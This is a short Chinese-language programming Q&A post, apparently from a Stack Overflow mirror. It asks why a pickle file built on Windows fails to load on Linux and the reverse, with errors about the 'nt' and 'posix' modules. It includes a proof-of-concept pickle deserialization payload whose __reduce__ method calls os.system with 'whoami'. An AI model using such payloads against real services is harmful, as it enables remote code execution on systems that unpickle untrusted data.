【发布时间】:2021-08-30 16:07:42
【问题描述】:
完成我的 poc,我发现了不同
#py 3.9.6
import pickle
import os
class PickleRCE(object):
def __reduce__(self):
return (os.system, ('whoami',))
print(pickle.dumps(PickleRCE(), protocol=0))
当我在 linux 中加载 windows 的 pickle 字节时,我得到“ModuleNotFoundError: No module named 'nt' ";
当我在 Windows 中加载 linux 的 pickle 字节时,我得到“ModuleNotFoundError: No module named 'posix'”。
这意味着带有os模块的pickle文件不能跨平台
谢谢
【问题讨论】:
-
什么是“poc”?
-
使用标签
ctf是什么意思?
标签: python serialization pickle